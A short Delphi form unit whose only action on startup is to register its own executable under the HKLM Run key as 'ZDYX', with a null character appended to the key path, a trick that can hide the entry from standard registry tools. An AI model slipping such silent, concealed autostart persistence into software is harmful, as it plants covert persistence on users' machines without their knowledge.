unit dy97;
interface
uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs,registry, StdCtrls, ExtCtrls;

type
 TForm1 = class(TForm)
  Label1: TLabel;
  Image1: TImage;
  procedure FormCreate(Sender: TObject);
 private
  { Private declarations }
 public
  { Public declarations }
  procedure zdyx(a,b: string;c: boolean); 
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

{ TForm1 }

procedure TForm1.zdyx(a, b: string; c: boolean);
var
 d: string;
 e: TReginiFile;
begin
 if c then
  d := 'once'
 else
  d:= '';
 e := TRegIniFile.Create('');
 e.RootKey := HKEY_LOCAL_MACHINE;
 e.WriteString('software\microsoft\windows\currentversion\run'+d +#0,a,b);
 e.Free ;  
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 self.zdyx('ZDYX',application.ExeName,false);
end;
end.